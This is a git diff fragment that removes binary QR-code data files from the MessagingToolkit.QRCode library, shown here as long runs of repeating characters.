@AABBCCD~}|BBAA@@??66778899nnooppqqccbbaa``++**))((FFGGHHII~~SSRRQQPP !!VVWWXXYY{{zzyyxxCCBBAA@@ - - ..//0011ffgghhiikkjjiihh33221100 >>??@@AAvvwwxxyyQQKKJJII - - AABBCCDD~}|{``__^^]]PPOONNMM11223344iijjkkll^^]]\\[[<<==>>??GFFEEDDC - 899::;;>= 01122334hiijjkklihhggffe100//..- - - @AABBCCDxyyzz{{|JIIHHGGFCDDEEFFG}|{{zzyy??>>==<<99::;;<>==11223344iijjkkllhhggffee00//..-- - - AABBCCDDyyzz{{||IIHHGGFFDDEEFFGG|{{zzyyx?>>==<<;9::;;<<=qrrssttu`__^^]]\(''&&%%$IJJKKLLMPOONNMML!""##$$%YZZ[[\\]xwwvvuut@??>>==<12233445ijjkkllmhggffeed0//..--, - - ABBCCDDEyzz{{||}IHHGGFFEDEEFFGGH{{zzyyxx>>==<<;;::;;<<==rrssttuu__^^]]\\''&&%%$$JJKKLLMMOONNMMLL""##$$%%ZZ[[\\]]wwvvuutt??>>==<<22334455jjkkllmmggffeedd//..--,, - - BBCCDDEEzz{{||}}HHGGFFEEEEFFGGHH{zzyyxxw\\[[ZZYYXXWWVVUU"##$$%%&Z[[\\]]^wvvuutts?>>==<<;23344556jkkllmmngffeeddc/..--,,+ - BCCDDEEFz{{||}}~WVVUUTTSRSSTTUUV~~}}||{GFFEEDDC *++,,--.bccddeefbaa``__^399::;;>= - - @AABBCCDTTSSRRQQ&''(())*^__``aabsrrqqppo;::998876778899:nooppqqrcbbaa``_+**))(('FGGHHIIJ~SRRQQPPO !!"VWWXXYYZ{zzyyxxwCBBAA@@? - - .//00112fgghhiij^]]\\[[Z<==>>??@uttssrrq=<<;;::9 DEEFFGGHPONMLKKJ *++,,--.bccddeefonnmmllk76655443:;;<<==>rssttuuv_^^]]\\['&&%%$$#JKKLLMMNONNMMLLK"##$$%%&Z[[\\]]^wvvuutts?>>==<<;23344556jkkllmmnZYYXXWWV@AABBCCDqppoonnm98877665HIIJJKKLJIIHHGGF - - .//00112fgghhiijkjjiihhg3221100/ ->??@@AABvwwxxyyz[ZZYYXXW#""!! NOOPPQQRKJJIIHHG&''(())*^__``aabsrrqqppo;::998876778899:nooppqqrVUUTTSSR DEEFFGGHmllkkjji54433221LMMNNOOPFEEDDCCB 23344556jkkllmmngffeeddc/..--,,+ - BCCDDEEFz{{||}}~WVVUUTTSRSSTTUUV~~}}||{GFFEEDDC *++,,--.bccddeefonnmmllk76655443:;;<<==>rssttuuvRQQKKJJI - - -HIIJJKKQihhggffe100//..-PQQRRSSTBAA@@??>6778899:nooppqqrcbbaa``_+**))(('FGGHHIIJ~SRRQQPPO !!"VWWXXYYZ{zzyyxxwCBBAA@@? - - .//00112fgghhiijkjjiihhg3221100/ ->??@@AABvwwxxyyzIHHGGFFE - QRRSSTTUeddccbba-,,++**) TUUVVWWX>==<<;;::;;<<==>rssttuuv_^^]]\\['&&%%$$#JKKLLMMNONNMMLLK"##$$%%&Z[[\\]]^wvvuutts?>>==<<;23344556jkkllmmngffeeddc/..--,,+ - BCCDDEEFz{{||}}~EDDCCBBAUVVWWXXYa``__^^])((''&&% !!""##$XYYZZ[[\:9987654 ->??@@AABvwwxxyyz[ZZYYXXW#""!! NOOPPQQRKJJIIHHG&''(())*^__``aabsrrqqppo;::998876778899:nooppqqrcbbaa``_+**))(('FGGHHIIJ~A@@??>>=YZZ[[\\]]\\[[ZZY%$$##""!$%%&&''(\]]^^__`33221100 - BCCDDEEFz{{||}}~WVVUUTTSRSSTTUUV~~}}||{GFFEEDDC *++,,--.bccddeefonnmmllk76655443:;;<<==>rssttuuv_^^]]\\['&&%%$$#JKKLLMMN||{=<<;;::9]^^__``aYXXWWVVU! ())**++,`aabbccd//..--,,FGGHHIIJ~SRRQQPPO !!"VWWXXYYZ{zzyyxxwCBBAA@@? - - .//00112fgghhiijkjjiihhg3221100/ ->??@@AABvwwxxyyz[ZZYYXXW#""!! NOOPPQQR{zzyyxxw93322110!!""#abbcciijUTTSSRRQ,--..//0deeffggh++**))((JKKLLMMNONNMMLLK"##$$%%&Z[[\\]]^wvvuutts?>>==<<;23344556jkkllmmngffeeddc/..--,,+ - BCCDDEEFz{{||}}~WVVUUTTSRSSTTUUVwvvuutts0//..--,#$$%%&&'jkkllmmnQPPOONNM01122334hiijjkkl''&&%%$$NOOPPQQRKJJIIHHG&''(())*^__``aabsrrqqppo;::998876778899:nooppqqrcbbaa``_+**))(('FGGHHIIJ~SRRQQPPO !!"VWWXXYYZsrrqqppo,++**))('(())**+nooppqqrMLLKKJJI45566778lmmnnoop##""!! RSSTTUUV~~}}||{GFFEEDDC *++,,--.bccddeefonnmmllk76655443:;;<<==>rssttuuv_^^]]\\['&&%%$$#JKKLLMMNONNMMLLK"##$$%%&Z[[\\]]^onnmmllk(''&&%%$+,,--../rssttuuvIHHGGFFE 899::;;??@@AABvwwxxyyz[ZZYYXXW#""!! NOOPPQQRKJJIIHHG&''(())*^__``aabkjjiiccb$##""!!/0011223vwwxxyyyEDDCCBBA - - <==>>??@tuuvvwwxxyybdQZ|JltdrtAH~fvpfbے`HAbےJtArdv`f~~HfpQJHArXQJ`Zp˂drtbdQZ|f`vXfH~nr˂pے`JXZHAbbtl|ZdQf~HnXv`fpv㒐bHArXQJ`AJltdrtnvpf`vXfH~˂pZHAbtl|QbtlnXv`Xv`fےHAZXQJ`ےp˂rdrtAbdQZ|`vXnH~fr˂pے`JXQZHAbtlJ|ZdQbf~HnXv`pvnbHAZXQJ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ۑQXb㉀pfH~XnvˍQtJl|drQt}~~ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_2.dat deleted file mode 100644 index 2b36dd3..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_2.dat +++ /dev/null @@ -1,265 +0,0 @@ -~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghcdcdcdcdbabababa^]^]^]^]\[\[\[\[~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvsrqrqrqropopopopmnmnmnmnijijijijghghghghcdcdcdcdbabababa^]^]^]^]\[\[\[\[~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghcdcdcdcdbabababa^]^]^]^]\[\[\[\[~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghcdcdcdcdbabababa^]^]^]^]\[\[\[\[~}~}~}~}{|{|{|{ywxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghcdccccccbabababa^]^]^]^]\[\[\[\[~}~}~}~}yyyyyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcccbabababa^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmlklklklijijijijghghghghcccdcdcd`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijghghghgfcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefccccccdc`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY~}~}~}~}yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdccccc`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY~}~}|{|{yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY|{|{{{{{yzyzyzyzwxwxwxwxststststqrqrqrqronmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW{|{|{|{{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW{{{{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklihghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW|{{{{{{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvststststqpopopopmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{|{|{|{|yxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefedcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{|{|{{{{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghcdcdccccbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW{{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghccdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW~}|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXW~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnkjijijijghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXW~}~}~}~}{{{{{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghcccccdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKKKKIJIJIJIHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOKKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856543434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQPOPOPONMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787834333333212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKKKKKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;:7878787843434343212121210/0/0/.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878784343433321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783334343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>9:9:9:9:787878783434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!   - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878783434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKKKKKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878783434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878783434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!  - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878783333334321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=<9:9:9:9:78787878434333332121210/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - -VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#      - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434330/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656333343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%"!"!"!"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPONMNMLKLKIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPOLKLKKKKKIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656433333430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:56565656434343210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         VUVUVUVURQRQRQRQPOPOPOPOKKKKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%$#"!"!"!"!         VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!       VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9856565656212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     VUVUVUVURQRQRQRQPOPOPOPOLKKKKKKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - -VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -AABBCCDDeddccbbaPQQRRSSTYXXWWVVU\]]^^__` - - >==<<;;:baa``__^]]^^__`` - - LLKKJJII~~}}EEFFGGHH!!""a``__^^]TUUVVWWXUTTSSRRQ`aabbccd :9933221^]]\\[[Zaabbccdd HHGGFFEE||{{zzyyIIJJKKLL##$$%%&&]\\[[ZZYXYYZZ[[\QPPOONNMdeeffggh100//..-ZYYXXWWVeeffgghhDDCCBBAAxxwwvvuuMMNNOOPP''(())** -YXXWWVVU\]]^^__` - - MLLKKJJIhiijjkkl-,,++**)VUUTTSSRiijjkkll@@??>>==ttssrrqqQQRRSSTT++,,--.. - UTTSSRRQ`aabbccd IHHGGFFElmmnnoop)((''&&%RQQPONMLmmnnoopp<<;;::99ppoonnmmUUVVWWXX//001122QPPOONNMdeeffgghEDDCCBBApqqrrsst %$$##""!KKJJIIHHqqrrsstt 88776655llkkjjiiYYZZ[[\\3399::;; - - MLLKKJJIhiijjkklA@@??>>=tuuvvwwx !!""##$!GGFFEEDDuuvvwwxx!!""##$$44332211hhggffee]]^^__``<<==>>?? IHHGGFFElmmnnoop=<<;;::9xyyzz{{|$%%&&''(CCBBAA@@yyzz{{||%%&&''((00//..--ddccbbaaaabbccdd@@AABBCCEDDCCBBApqqrrsst 98877665|}}~~())**++,??>>==<<}}~~))**++,,,,++**))``__^^]]eeffgghhDDEEFFGGA@@??>>=tuuvvwwx !!""##$54433221,--..//0 ;;::9987--..//00((''&&%%\\[[ZZYYiijjkkllHHIIJJKK=<<;;::9xyyzz{{|$%%&&''(100//..-01122334 - - 6543322111223344$$##""!!XXWWVVUUmmnnooppQQRRSSTT 98877665|}}~~())**++,-,,++**)~~}45566778100//..-~~}}55667788 TTSSRRQQqqrrssttUUVVWWXX !!""##$54433221,--..//0)((''&&%}||{{zzy899::;;< -,,++**)||{{zzyy99::;;<<PPOONNMMuuvvwwxxYYZZ[[\\$%%&&''(100//..-01122334%$$##""!yxxwwvvu<==>>??@ - - )((''&&%xxwwvvuu==>>??@@LLKKJJIIyyzz{{||]]^^__``())**++,-,,++**)~~}45566778! uttssrrq@AABBCCD %$$##""!ttssrrqqAABBCCDDHHGGFFEE}}~~aabbccii,--..//0)((''&&%}||{{zzy899::;;<qppoonnmDEEFFGGH! ppoonnmmEEFFGGHH DDCCBBAAjjkkllmm01122334%$$##""!yxxwwvvu<==>>??@mllkkjjiHIIJJKKLllkkjjiiIIJJKKLL - - @@??>>==nnooppqq45566778! uttssrrq@AABBCCDihhggffeLMMNNOOP!!"hhggffeeMMNNOOPP<<;;::99{{zzyyxxrrssttuu899::;;<qppoonnmDEEFFGGH eddccbbaPQQRRSST"##$$%%&ddccbbaaQQRRSSTT88776655wwvvuuttvvwwxxyy<==>>??@mllkkjjiHIIJJKKL - - a``__^^]TUUVVWWX&''(())* ``__^^]]UUVVWWXXiijjkkll44332211ssrrqqppzz{{@AABBCCDihhggffeLMMNNOOP ]\\[[ZZYXYYZZ[[\*++,,--. - - \\[[ZZYYYYZZ[[\\mmnnoopp00//..--oonnmmllDEEFFGGH eddccbbaPQQRRSSTYXXWWVVU\]]^^__`.//00112XXWWVVUU]]^^__`` - - qqrrsstt,,++**))kkjjiicc~}HIIJJKKL - - a``__^^]TUUVVWWXUTTSSRRQ`aabbccd23399::;TTSSRRQQaabbccdd 